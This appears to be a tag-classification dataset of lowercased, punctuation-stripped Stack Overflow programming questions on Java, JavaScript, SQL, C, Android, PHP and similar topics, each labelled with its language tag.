how to count and sort letters in a string  i want to sort the letters from user input and print out how many of each letter there is in the string from the user. this is what i have so far and i would like to know if this is the right way to do it. i am relatively new to java so please keep things s simple as possible. ive made a few adjustments to my code upon the suggestions that i use loops instead of large amounts of if else constructs. this is what i have:   <pre><code>public class assignment9 { public static void main( string [] args ) {     string user_string = input.getstring(  please enter a string  );     int length = user_string.length();     int char_number = 1;     int alphabet[] = new int[26];     for( int repeats = 0   repeats &lt;= length   repeats++ )     {         char letter = user_string.charat( char_number );         char to_be_tested = character.tolowercase( letter );         int subscript = 0;         for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )         {             char tester = (char) letter_number;              if( to_be_tested == tester )             {                 alphabet[subscript]++;                 subscript++;             }         }         char_number++;     }     display( alphabet ); } public static void display( int alphabet[] ) {     int letter = 65;     for( int a = 0; a &lt; alphabet.length; a++ )     {         char character = ( char )letter;         system.out.println (  letter   + character +   count is   + alphabet[a] );         letter++;     } } } </code></pre>  <h2>i m getting these errors</h2>   <a href= https://ideone.com/rlwdoh  rel= nofollow >compilation errors</a>:   <pre><code>test.java:9: error:  ;  expected             for( int repeats = 0   repeats &lt;= length   repeats++ )                                           ^ test.java:9: error: illegal start of expression             for( int repeats = 0   repeats &lt;= length   repeats++ )                                            ^ test.java:9: error:  ;  expected             for( int repeats = 0   repeats &lt;= length   repeats++ )                                              ^ test.java:9: error: illegal start of expression             for( int repeats = 0   repeats &lt;= length   repeats++ )                                                      ^ test.java:9: error:  )  expected             for( int repeats = 0   repeats &lt;= length   repeats++ )                                                       ^ test.java:9: error: illegal start of expression             for( int repeats = 0   repeats &lt;= length   repeats++ )                                                                  ^ test.java:14: error:  ;  expected                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                               ^ test.java:14: error: illegal start of expression                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                                ^ test.java:14: error:  ;  expected                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                                  ^ test.java:14: error: illegal start of expression                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                                       ^ test.java:14: error:  )  expected                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                                        ^ test.java:14: error: illegal start of expression                     for(int letter_number = 97   letter_number &lt;= 122   letter_number++ )                                                                                         ^ 12 errors </code></pre>,java
thumbnails not clickable after reloading via ajax  i m using jqzoom (plugin  version 2.3) for our product s photo galleries.  on the product page  the user has the option of selecting different attributes within a product which reloads images based on the selected attribute.  the user is able to click the thumbnails just fine on the initial page load but  when they select an attribute  the photos refresh via ajax and the thumbnail images are no longer clickable.  here s some code i m working with:    this portion is called on page load and when a new product attribute is selected:   <pre><code>function findproductphotos(attributedetailid) {     if( typeof attributedetailid !=  undefined  &amp;&amp; attributedetailid &gt; 0 ) {         $.ajax({             cache: false              data: {                 method:  getattributedetailimages                   productattributedetailid: attributedetailid             }              datatype:  json               success: function(data) {                 updateproductphotos(data);             }              traditional: true              type:  get               url:  /com/ei/image/imageproxy.cfc          });     } } </code></pre>   this function is called after the images are retrieved:   <pre><code>function updateproductphotos(data) {     // if images where returned  then update the main photo and thumbnail         if(data.length &gt; 0) {             // remove all existence of jqzoom so we can reassign it correctly w/o error             $( .jqzoom ).unbind().removedata( jqzoom ).empty();             $( .zoompad ).remove();              // remove all the current thumbnails             $( #thumblist ).empty();              // put back all the new thumbnails and main product image             $(data).each(function(i objimg) {                 // if this is the first image  replace the main image with it                 if (i==0) {                     var mainprodimgelem = $( &lt;img id= mainprodimg  width= 350  /&gt; );                     $(mainprodimgelem).attr( src  objimg.srchires);                     $(mainprodimgelem).appendto( .jqzoom );                     $( .jqzoom ).attr( href  objimg.srchires);                     $( .zoomwrapperimage ).find( img ).attr( src   objimg.srchires);                 }                  var elemthumb = $( &lt;li&gt;&lt;a href= javascript:void(0); &gt;&lt;img width= 75  border= 0  /&gt;&lt;/a&gt;&lt;/li&gt; );                 if (i==0) {                     $(elemthumb).find( a ).addclass( zoomthumbactive );                 }                 $(elemthumb).find( img )                     .attr( src   objimg.srcthumb)                     .attr( rel    {gallery: \ gal1\   smallimage: \   + objimg.srchires +  \   largeimage: \   + objimg.srchires +  \ } );                 $(elemthumb).appendto( #thumblist );             });              // rebind jqzoom             $( .jqzoom ).jqzoom(jqzoomoptions);         }     } </code></pre>   and the html code snippet containing the thumbnails:   <pre><code>&lt;ul class= clearfix  id= thumblist &gt;     &lt;cfloop query= qimages &gt;         &lt;cfset variables.thumbnail = imageobj.getimagesrc(                 imageid = imageid                  size =  thumbnail )&gt;          &lt;cfif fileexists(expandpath(hiresfilename))&gt;             &lt;cfset zoomerfile = hiresfilename /&gt;         &lt;cfelse&gt;             &lt;cfset zoomerfile = largefilename /&gt;         &lt;/cfif&gt;          &lt;li&gt;             &lt;a href= javascript:void(0);  &lt;cfif currentrow eq 1&gt;class= zoomthumbactive  rel= {gallery:  gal1   smallimage:  #zoomerfile#   largeimage:  #zoomerfile# } &gt;                 &lt;img src= #variables.thumbnail#  width= 75  border= 0 &gt;             &lt;/a&gt;         &lt;/li&gt;     &lt;/cfloop&gt; &lt;/ul&gt; </code></pre>   any idea why this would happen or how to fix it,jquery
how to manage sdk path in android studio while working with git from windows (one member) and ubuntu (other member)   how to manage sdk path in android studio while working with git from windows (one member) and ubuntu (other member),android
why cant i create a variable   i have two class: clique and graph  when i try to create  clique c  in the graph class  vs give me two errors:    error c2065:  clique  : undeclared identifier error c2065:  c  : undeclared identifier        i tried to solve it for a long time and i m stuck  pls help me. this is my code:    clique: <a href= http://pastebin.com/jw3fqv95  rel= nofollow >http://pastebin.com/jw3fqv95</a> graph: <a href= http://pastebin.com/bwlakmy0  rel= nofollow >http://pastebin.com/bwlakmy0</a>    thanks.,c++
how to check if two selects return the same ids  suppose  we have query like this:   <pre><code>select 1 from dual where   (select id from table_1 t1 where /*conditions*/) in (select id from table_1 t2 where /*conditions*/) </code></pre>   i want to check if first query <code>select id from table_1 t1 where /*conditions*/</code> returns the same ids like the second query. of course this query (<code>in</code> statement) doesn t work.,sql
is my understanding of the following variable scope correct  i am currently in the process of learning javascript.    i came up with the following code sample   <pre><code>var gc =  from global ;  var mp = {     gc    :  inside mp       funct : function(){         console.log( gc);        //calls global instead of local     } }  var ft = function() {     gc    =  inside function ;     this.funct = function(){         console.log(gc);       //calls locally declared variable      } }  mp.funct();           //calls gc from global scope      ---&gt;a var inst = new ft();   inst.funct();         //calls gc from its local scope   ---&gt;b </code></pre>   i wanted to know why statement a prints the value of the global variable while statement b prints the value of its locally scoped variable. i am told that it has to do with the fact that statement b creates an instance of ft and its context is ft while statement a context is the window and the local variable of global local window is the gc gloable . is that correct   if so then i am confused with what context is  i was under the impression that   <pre><code>foo.bar() ; //here foo is the context m.j;        //here m is the context </code></pre>   how can window be the context of <code>mp.funct()</code>,javascript
change a label from another view  i have a label on my main view. i have a button which brings me to another view. on it i have a button to change my label which is on the main view.    how can i do this  i included a projet  could someone help me please...    project : <a href= http://www.megaupload.com/ d=lufzqayh  rel= nofollow noreferrer >here</a>,iphone
writing a program that creates a particular pattern using the number sign  how can this particular pattern be created using the number sign. <strong>note</strong>  the first line must be indented.    <strong><em>write a program that creates a pattern like the one below. let the user input a nonnegative integer to determine the number of lines of the pattern.</em></strong>    i am currently at this step  confused on how to indent the first line.    <pre><code>  for row in range(5):         print( # # )   # # # # # # # # # #  </code></pre>,python
referencing number named object inside object  how do i get information from a number named object inside another object     i have tried <code>console.log(obj.6.4)</code> but it does not work.    this is my object:   <pre><code>var obj = {     0: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      1: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      2: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      3: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      4: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      5: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      6: {0:0  1:0  2:0  3:0  4: hi   5:0  6:0  7:0  8:0  9:0}      7: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      8: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0}      9: {0:0  1:0  2:0  3:0  4:0  5:0  6:0  7:0  8:0  9:0} } </code></pre>,javascript
html div tags not working to assign separate divs to images  i have this image    <a href= https://i.stack.imgur.com/pnapf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pnapf.png  alt= enter image description here ></a>    the plan is to set the linkedin icon below each yellow image in centre. here is the code:   <pre><code>&lt;div class= contenteditablecontainer contentgmapeditable  style= min-height: 0px; &gt;      &lt;div class= contenteditable &gt;     &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;br&gt; &lt;img  data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt; &lt;img data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt;                                                                             &lt;/div&gt;                                                                                      &lt;/div&gt; </code></pre>   the problem is  i have tried creating seperate divisions for these  like:   <pre><code>&lt;div class= col-md-12 &gt;     &lt;div class= col-md-2 &gt;     &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt;                                                     &lt;br&gt; &lt;img  data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt;                                                 &lt;/div&gt; &lt;div class= col-md-2 &gt;     &lt;img data-default= placeholder  src= images/placeholder_2.jpg  width= 75  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt;                                                     &lt;br&gt; &lt;img  data-default= placeholder  src= images/linkedin.png  width= 35  style= padding:2px;border:1px solid #dbdeec;border-radius:3px;-webkit-border-radius:3px; &gt;                                                 &lt;/div&gt;                                                 &lt;/div&gt;   </code></pre>   in my thinking it should create separate divs for both images and the <code>&lt;br&gt;</code> should allow linkedin icon to be below the yellow one. it doesn t work  it rather creates like this:    <a href= https://i.stack.imgur.com/mdkic.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mdkic.png  alt= enter image description here ></a>    am i missing something,html
jquery no conflict mode for extra functions  i m sure this is a simple question  just can t seem to get it to work right.    i was having some conflicts with jquery  so i used the aliasing feature mentioned in the official documentation.   <pre><code>jquery(document).ready(function($){   $( .loadmore ).addclass( hidden ); // works fine!    loadmore();  });  function loadmore(){   $( .loadmore ).addclass( hidden ); // doesn t work! } </code></pre>   how do i get the aliasing to work for my code that i threw into functions for better organization and for the ability to reuse  i m currently using <code>jquery</code> instead of <code>$</code> for everything due to the issue presented in the sample above. thought i could save a few bits of data and use the alias that s shown in all the tutorials.,jquery
c++ pointer and string addressing  if we declare:    <pre><code>int i;  int *ptr1 = &amp;i; *ptr1=10; cout &lt;&lt; ptr1; </code></pre>   here ptr1 will give the address. but:   <pre><code>char *ptr2; ptr2= priyesh ; cout &lt;&lt; ptr2; </code></pre>   here it will give the content of the character pointer. why is there such a difference,c++
viewstate move session generate an error as  the state information is invalid for this page and might be corrupted.    i have created web page with rad grid. within that i provide facility to filtering  shorting  grouping and paging . because of performance issue i have tried to move viewsatate into session. there i have set enable viewsate false in webpage  and added bellow code into page.    <pre><code>    protected override object loadpagestatefrompersistencemedium()     {         return session[ viewstate-  + request.url.absolutepath];      }     protected override void savepagestatetopersistencemedium(object state)     {         session[ viewstate-  + request.url.absolutepath] = state;          clientscript.registerhiddenfield( __viewstate     );     } </code></pre>   but when i do some thing on rad grid it will generate bellow error    the state information is invalid for this page and might be corrupted.,asp.net
sum of rows of different columns in mysql  in my table columns are domain  prog_stdname  jul  aug  sep  where prog_stdname is dependent on domain  i have tried the following query to display unique data from the table as in the below image:   <pre><code> select distinct domain                  prog_stdname from cf_1ls                   where ls_no = 1234 </code></pre>   <a href= https://i.stack.imgur.com/ap8u9.png  rel= nofollow noreferrer >enter image description here</a>    i want to sum of columns (jul+aug+sep) for each unique row for particular <code>ls_no</code>=<code>1234</code> id  as in the below image  for that i have the below query <code>select distinct</code>domain<code> </code>prog_stdname<code>  sum(jul+aug+sep) from</code>cf_1ls<code>where</code>ls_no<code>= 1234 </code> but is displays  <a href= https://i.stack.imgur.com/zlwqe.png  rel= nofollow noreferrer >enter image description here</a>,mysql
re-arranging icons inside application  i would like to know how to implement arranging of icons inside the application menu in android  i can quote the example of car view app in nexus s  where we can move the icons after touching the icon for a while and then moving it. similar to that in samsung android phones  where we can move the icons at our ease on the home screen. any thoughts/suggestions,android
calling delphi dll from c# to return text  dears. i have simple delphi dll like this    <pre><code>function getconnection: pchar; stdcall; export; begin   result:=  connection name is .... ; end; exports   getconnection; </code></pre>   and i am trying from c# as the folowing>   <pre><code>using system.runtime.interopservices;  namespace consoleapplication2 {     class program     {          [dllimport( c:/program files (x86)/borland/delphi7/projects/project2.dll                         callingconvention = callingconvention.stdcall                        charset = charset.unicode)]         public static extern string             getconnection();          static void main(string[] args)         {             string theresult =   ;              theresult = getconnection();             console.write(theresult);             console.write(    press enter plese: );             console.readline();         }     } } </code></pre>   but i received error (consoleapplication2.vshost.exe  has exited with code 1073741855 (0x4000001f))    thanks in advance,c#
how to pass table row id in popup  if i click the addquestion button then popup open that popup contains the relevant test id how to pass relevant id popup.here i have attached image [1]    <a href= http://imageshack.com/a/img923/3150/6hy4tp.png  rel= nofollow noreferrer >http://imageshack.com/a/img923/3150/6hy4tp.png</a>,javascript
objective-c equivalent of java packages   what is the objective-c equivalent of java packages  how do you group and organize your classes in objective-c,objective-c
adding a cmd line argument to a variable pointing to a file  i have a variable in my .net application that store the location of a file. this variable can change depending on where the users has this file store (it s based on a game installation). is there any way i can add an argument to the variable before running it     info:   <ul> <li> acesfile  is the variable which holds the dir</li> <li>the full dir <strong>does</strong> hold spaces. i know this has something to do with the structure of arguments.</li> <li>the variable always holds this at the end without quotes:  \win64\aces.exe </li> </ul>   i ve tried this without success:    process.start(acesfile &amp;  -forcestart )    thanks :),.net
php numeric array  i am a php beginner and i want to do the following:    i want to compare an array of numbers to an itemid.  currently  my code only works if i state which position of the array to check (productid). how can i check productid to test the whole contents of the array    <pre><code>$productid = array(146 147 148 149 150 151 152 153 154 155 158 159 160 161 162                     163 113 116 117 118 114 119 120 121 115 121 122 123 124);  if(($_request[ view ] ==  article ) &amp;&amp; ( $_request[ itemid ] == $productid[0])) {     $setcol = 1;     $setid =  main-noleft ;  } else {     $setcol = null;     $setid =  main ; } </code></pre>,php
reading line by line from file and processing lines at same time   is there a way to read lines from a file at the same time as those lines are being processed. so the reading and processing would be done separate from each other. whenever data is read it would give for processing  so that reading is always being done regardless of how fast the processing is.,python
how do count the number of popup windows   how do i count the number of popup windows in script. i mean in <code>document.forms.length</code>that return the number of elements in a form  i m trying also to check for popup window if it found and return the number of popup windows. <br> in this example of page script on web:   <pre><code>&lt;script&gt; window.open( www.stackoverflow.com ); window.open( www.example.com ); window.open( www.google.com ); &lt;/script&gt; </code></pre>   it should be return number 3 as there are three <code>window.open()</code>.,javascript
c structs  pointers to structs  and proper initialization  i m working on converting a neural network simulator from perl to c. i have it working  but i m not happy with part of my code. i ve defined a struct network (typedefed to network) which contains a pointer to an array of doubles and a pointer to an array of pointers to neurons  which is another struct. here is how they are defined:   <pre><code>typedef struct neuron {     double *inputweights;     double *neuronweights;     double value; } neuron;   typedef struct network {     neuron **neurons;     double *outputs; } network; </code></pre>   initially  i tried to initialize these like this:   <pre><code>neuron* myvariable; </code></pre>   but of course that didn t work because no memory was actually assigned. i know that i can initialize it like this:   <pre><code>neuron myvariable; neuron* ptr = &amp;myvariable; </code></pre>   but when i tried to do that into a loop  and stored the pointers in an array  it seemed like the previous pointers were lost or reset each iteration  and i was getting all sorts of errors. i was doing something like this:   <pre><code>network mynetwork; for (i = 0; i &lt; neuron_count; i++) {     neuron myneuron;     reset_neuron(&amp;myneuron); // basically a zero fill of the arrays     mynetwork-&gt;neurons[i]=&amp;myneuron;     myneuron-&gt;inputweights[0] = 1; // sets the current neuron  first input     printf( first neuron  first input is %f\n   mynetwork-&gt;neurons[0]-&gt;inputweights[0]);     // the printf gives 1 on the first iteration  and 0 on every following iteration. } </code></pre>   this gives me the impression that myneuron is always the /same/ memory location  even though i m still keeping a pointer to the last one  so i keep resetting the same place. of course i can also use malloc to force each neuron to be different:   <pre><code>neuron* myvariable = malloc(sizeof(neuron)); </code></pre>   and that works  but that seems a bit like a kludge. should i be bothering to use pointers to my structs at all  is there a way to initialize a struct pointer without resorting to the low-level malloc and sizeof,c
register iphone application  please guide summary me step by step to register iphone application in apple store    i created an iphone sample application. i want to deploy it in real device.    but i dont know how to do.    thank you~,iphone
evaluation and assignment in if statement  i m wondering  will this work with any major php versions    <pre><code>if ($foo != $bar &amp;&amp;    != $str = some_function($some_variable))     echo $str; </code></pre>   the <code>some_function($some_variable)</code> returns a string  which is assigned to the <code>$str</code> variable and then checked if is an empty string. the <code>$str</code> variable is used later of course.    will be the output of the <code>some_function</code> assigned to the <code>$str</code> variable in every major php version (>5)  i couldn t find any information on this. thanks.    i m currently running 5.4 and it s working.    <strong>edit:</strong> to avoid further confusion  the <code>$foo != $bar</code> precedes the other expression because the <code>$str</code> variable is only used inside the if statement. sorry  i forgot to clarify that.,php
python - creating a function to check if a number is divisble by other numbers  i m trying to create a function that tests to see if a number is divisible by other numbers(submitted in <code>*args</code> part below).     when i run <code>is_divisible(13  2  4)</code> my function returns <code>false</code> and when i run <code>is_divisible(12  2  4)</code> returns true. however <code>is_divisible(6  8  10  2)</code> returns <code>true</code>. i have no idea what s wrong any help would be much appreciated.   <pre><code>def is_divisible(numerator  *args):     divisors = list(args)     for number in range(len(divisors)):          x = divisors.pop()         if numerator % x != 0:             return false         else:             return true </code></pre>,python
how much delay of ios push notification   i want to add a fire alarm function to my app. i think the push notification may be  the best choice. but if there is much delay  like over 10 mins  it would be meaningless for fire alarm. so how much delay for push notification  assuming the device is online,ios
gcdasyncsocket 2 requests at same time   using the <code>gcdasyncsocket</code> class  i know that there is a queue when asking to write 2 times to server   but we can see that if we have 2 requests   that the first one is a file  and the second is a string  server gets the file but never get the string after it . if we write 2 strings  it do work.    i guess that the file takes times so the string is missing somewhere in the middle   or that he put it together with the file    (each request is work alone).    this is the 2 requests: (first is a image file  second is the string )   <pre><code>[asyncsocket  writedata: [self setprotocoldataforimage:[[image copy] autorelease] withcommand:5] withtimeout:-1 tag:-1];  [asyncsocket  writedata: [self setprotocoldataforstring:[[user copy] autorelease] withcommand:4] withtimeout:-1 tag:-1]; </code></pre>,objective-c
comparing two table columns in mysql results in duplicate  i have two tables  i ve been trying to print the result from each but they are being duplicated. these are the two mysql tables and the result. notice the duplication.    <a href= https://i.stack.imgur.com/jesz0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jesz0.png  alt= enter image description here ></a>    the sql code for the project is:   <pre><code>select * from savings savtype where cust_id= .$_session[ user ] </code></pre>   i m also looking for a work around this  in the meantime  id appreciate any assistance on this.,mysql
screen resolutions and css  if i set my screen resolution to 1024 * 768  does that mean my website can be 1024 pixels wide     if so then why does an image 1024 pixels wide cut off the page     <a href= http://stevenportfolio.servehttp.com  rel= nofollow >http://stevenportfolio.servehttp.com</a>,css
placing onpause in activity where it handles variable  i am in need of a little help with placing <code>onpause</code> in my code. this is my <code>onpause</code> method i was suggested earlier today   <pre><code>@override public void onpause() {  if (alertdialog != null &amp;&amp; alertdialog.isshowing()) {  alertdialog.dismiss(); super.onpause(); } }  </code></pre>   my activity   <pre><code>    @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);   final sharedpreferences settings = getsharedpreferences( pref_name   0);     boolean disappear = settings.getboolean( installed   false);      if (disappear == false) {          final alertdialog.builder alertdialog = new alertdialog.builder(this);          alertdialog.seticon(r.drawable.ic_launcher);         alertdialog.settitle( title );         alertdialog.setmessage( dialog );          alertdialog.setpositivebutton( ok   new dialoginterface.onclicklistener() {              public void onclick(dialoginterface dialog  int which) {             settings.edit().putboolean( installed   true).commit();                  }             });   alertdialog alertdialog = alertdialogbuilder.create();  alertdialog.show();                   final edittext edittext = (edittext) findviewbyid(r.id.typo1);             button check = (button) findviewbyid(r.id.check1);             check.setonclicklistener(new onclicklistener() {              @override             public void onclick(view v) {                        if (edittext.gettext().tostring().length()==0) {                     toast.maketext(getapplicationcontext()  congrats!  toast.length_long).show();                      @override     protected void onstop() {         // todo auto-generated method stub         super.onstop();     }  } </code></pre>   when i try to put my <code>onpause</code> under <code>alertdialog.show();</code> i get an syntax error under <code>void</code> that says  syntax error on token  void   @ expected  and when i try to put at the bottom with <code>onstop</code> it doesn t recognize <code>alertdialog</code> i do not know how to solve this problem and i have been at it for hours and do know how to solve it. so can help me place <code>onpause</code> in the proper place in my activity    logcat   <pre><code>10-13 03:10:37.496: e/androidruntime(761): fatal exception: main 10-13 03:10:37.496: e/androidruntime(761): android.app.supernotcalledexception: activity {com.theproblemsolver/com.theproblemsolver.mainactivity} did not call through to super.onpause() 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activity.performpause(activity.java:5210) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.instrumentation.callactivityonpause(instrumentation.java:1226) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread.performpauseactivity(activitythread.java:3002) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread.performpauseactivity(activitythread.java:2971) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread.handlepauseactivity(activitythread.java:2949) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread.access$800(activitythread.java:141) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread$h.handlemessage(activitythread.java:1245) 10-13 03:10:37.496: e/androidruntime(761):  at android.os.handler.dispatchmessage(handler.java:99) 10-13 03:10:37.496: e/androidruntime(761):  at android.os.looper.loop(looper.java:137) 10-13 03:10:37.496: e/androidruntime(761):  at android.app.activitythread.main(activitythread.java:5041) 10-13 03:10:37.496: e/androidruntime(761):  at java.lang.reflect.method.invokenative(native method) 10-13 03:10:37.496: e/androidruntime(761):  at java.lang.reflect.method.invoke(method.java:511) 10-13 03:10:37.496: e/androidruntime(761):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793) 10-13 03:10:37.496: e/androidruntime(761):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:560) 10-13 03:10:37.496: e/androidruntime(761):  at dalvik.system.nativestart.main(native method) </code></pre>,android
c code waits for more inputs instead of printing error  i m trying to make a program that takes user input    . if the types aren t specified by the user  then there should be all 3 values like: 0 1 2 and the program defaults to a specific type format. it has to have all 3 values to be a valid input  if less than 3 values are entered it should return an error message.  the problem i m having is if i enter less than 3 values  the program clearly just waits for the rest of the inputs. how do i go about making it move on to the error message if the user just enters 0 1 or 2 values and presses enter  here is the relevant part of the code:   <pre><code>if (actuallytypes) {     scanf( %s   initialcheck);     scanf( %s   finalcheck);     scanf( %s   intermediatecheck); } else {     scanf(input   %s   initialcheck);     scanf( %s   finalcheck);     scanf( %s   intermediatecheck);     } </code></pre>   and then i have an assert function checking whether inputs are valid or not  and if not it prints the error message.,c
how can i parse a string into different strings in c#   i just started work on a c# application. i need to break down a string into different parts. is there an easy way to do this using c# patterns  i think i can do it with substrings but it might get messy and i want to do something that s easy to understand. here s an example of the input:   <pre><code>ab-cde-ghi-123-45-67-7777  variable1 =  ab-cde-ghi  variable2 =  123  variable3 =  45  variable4 =  67  variable5 =  67-7777   ab-cde-ghijklm-123-45-67-7777  variable1 =  ab-cde-ghijklm  variable2 =  123  variable3 =  45  variable4 =  67  variable5 =  67-7777   ab-123-45-67-7777  variable1 =  ab  variable2 =  123  variable3 =  45  variable4 =  67  variable5 =  67-7777  </code></pre>   the first part of the string up until  123-45-67-7777  can be any length. lucky for me the last part 123-45-67-7777 is always the same length and contains numbers that are zero padded.     i hope someone can come up with some suggestions for an easy method that uses regular expressions or something.     input lines look like this:   <pre><code>aa-123-45-67-7777 hjhjh-123-45-67-7777 h-h-h--123-45-67-7777 222-123-45-67-7777 </code></pre>,c#
how to fix  instance variable while  self    how to fix this analysis issue:    <img src= https://i.stack.imgur.com/0jlsq.png  alt= enter image description here >    code   <pre><code>if(![super initwithframe:cgrectzero]){     return nil; }  firstofprev = -1; marks = markarray; monthdate = date; startonsunday = sunday; </code></pre>,objective-c
system.security.verificationexception after installation vs 2012  i use in work vs2010  and as a test for moving forward i install vs2012.    after this step all projects which were correct before stops working (already compiled  or still builded by vs2010).    dozen of places rises an exception: system.security.verificationexception. this exception also goes from library on .net 3.5 or .net 4. it rises an exception in xamls initializecomponents  etc.    what is it  why installation of new framework breaks all exisiting projects     how to solve it without erasing vs2012 and .net 4.5     thanks for suggestions.,.net
how to use apple (in app purchases) in uiwebview   is there any way to use apple in app purchases from a uiwebview inside the application      since i want to use a web view to load an external website and use in app purchases as payement method inside the app.,ios
specifying .aspx on the end of a css file   when working on web apps in asp.net  what is the reason for specifying a file as stylesheet.css.aspx rather than just plain stylesheet.css  i have seen this done in various web apps.    the web designer mentioned something about how it s a .net thing and storing a global variable for the aspx page but i didn t really understand  nor know the full story.    this is done at my work for a large web app with different sites for different countries. this makes me wonder  when would i make separate web apps for separate countries as opposed to one web app serving different languages  is there a performance  architectural or other technical reason for doing so  i can think of several non tech reasons (e.g. seo considerations).,asp.net
sql delete using another tables values  i have three tables <code>team</code> and <code>user_has_team</code> and <code>user</code>     in now i wish to delete the entity in <code>user_has_team</code> where the <code>username</code> is equal to <code>user_id</code> 1.    how would you go around this,sql
unable to catch thrown exception  there are two classes a and c both containing static blocks  but only a.java has a main method. i want to call c from a ie dynamically load it using forname(). since c does not have a .class file i get a classnotfoundexception that i catch at main using throws clause  but i find that it does not get caught. need help figuring out what i am doing wrong:    <pre><code>class  a {       static      {         system.out.println( a class static block );     }       public static void main(string[] args) throws classnotfoundexception      {           class.forname(  c  );       } }   class c  {     static      {         system.out.println( c class static block );     } } </code></pre>   output is as follows:   <pre><code>c:\users\xxxx\documents\myjavaprograms\myjava&gt;java a a class static block exception in thread  main  java.lang.classnotfoundexception: c         at java.net.urlclassloader.findclass(unknown source)         at java.lang.classloader.loadclass(unknown source)         at sun.misc.launcher$appclassloader.loadclass(unknown source)         at java.lang.classloader.loadclass(unknown source)         at java.lang.class.forname0(native method)         at java.lang.class.forname(unknown source)         at a.main(a.java:10) </code></pre>,java
modelling changes to a relation in sql  i have a one-to-many relation in sql. that s simple:   <pre><code>create table relation (oneid integer  manyid integer); </code></pre>   this relation can change at any time. however  i need to store these changes separately --- i need to know what s changed  and potentially roll them back.    i m at a loss as to how to model this cleanly in sql. the best i ve come up with so far is something like:   <pre><code>create table changes (oneid integer  oldmanyid integer  newmanyid integer); create view fused (oneid  manyid) as [...complex sql here...] </code></pre>   so: changes get written to <code>changes</code>; we indicate that any specific relation <code>(oneid  oldmanyid)</code> is superseded by <code>(oneid  newmanyid)</code>  we set <code>manyid</code> to <code>null</code> to indicate that we re removing an entry; and then we use a view to fuse the two tables together to provide a unified view of the state of the world.    but the fused view is pretty hard. as far as i can tell i need a join over both tables and then per-row computation to decide what the value of <code>manyid</code> should be. i m concerned about performance; i need to do fast lookups of all the <code>many</code>s associated with each <code>one</code>. i ve ended up with:   <pre><code>select relation.oneid  coalesce(changes.newmanyid  relation.manyid) from relation left join changes on relation.oneid = changes.oneid   and relation.manyid in (changes.oldmanyid  changes.newmanyid)   and changes.newmanyid is not null -- eliminate removed tuples union all select oneid  newmanyid from changes where oldmanyid is null -- include added tuples </code></pre>   this query scares me. is there a better way to do this,sql
